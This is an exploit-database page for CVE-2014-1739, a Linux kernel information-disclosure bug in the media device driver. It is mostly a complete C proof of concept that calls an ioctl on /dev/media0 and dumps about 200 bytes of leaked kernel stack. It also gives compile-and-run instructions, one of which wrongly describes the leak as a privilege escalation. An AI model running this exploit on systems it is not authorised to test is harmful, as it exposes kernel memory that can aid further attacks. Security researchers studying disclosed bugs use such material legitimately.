Materialized exploit

CVE-2014-1739

MEDIUM

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB local linux Verified

Source

Linux Kernel 3.3.5 - '/drivers/media/media-device.c' Local Information Disclosure

By Salva Peiro

How to test this exploit

Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.

gcc 39214.c -o exploit && ./exploit

Code c

/*
source: https://www.securityfocus.com/bid/68048/info

The Linux kernel is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to cause a memory leak to obtain sensitive information that may lead to further attacks.

Linux kernel 2.6.38 through 3.15-rc2 are vulnerable.
*/

/*
 * $File: media-enum-poc.c
 * $Description: CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking 200 kstack bytes on x86_32.
 * $Author: Salva Peiró <speirofr@gmail.com> (c) Copyright 2014.
 * $URL: http://speirofr.appspot.com/files/media-enum-poc.c
 * $License: GPLv2.
 */

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

#include <sys/ioctl.h>
#include <linux/media.h>
#define MEDIA_DEV "/dev/media0"

int main(int argc, char *argv[])
{
    struct media_entity_desc u_ent = {};
    char *file = MEDIA_DEV;
    int i, fd, ret;

    if (argc > 1)
        file = argv[1];
    fd = open(file, O_RDONLY);
    if (fd < 0){
        perror("open " MEDIA_DEV);
        return -1;
    }

    u_ent.id = 0 | MEDIA_ENT_ID_FLAG_NEXT;
    ret=ioctl(fd, MEDIA_IOC_ENUM_ENTITIES, &u_ent);
    if (ret < 0){
        perror("ioctl " MEDIA_DEV);
        return -1;
    }

    printf("[*] CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking %d kstack bytes:", sizeof(u_ent.reserved) + sizeof(u_ent.raw));
    for (i = 0; i < 200/sizeof(uint32_t); i++) {
        uint32_t data = *(uint32_t*)((uint32_t*)&u_ent.reserved+i);
        if (i % 4 == 0)
            printf("\n    %08d: ", i);
        printf("0x%08x ", data);
    }
    printf("\n");

    return ret;
}

/*
 gcc -Wall -g -m32 media-enum-poc.c -o media-enum-poc # */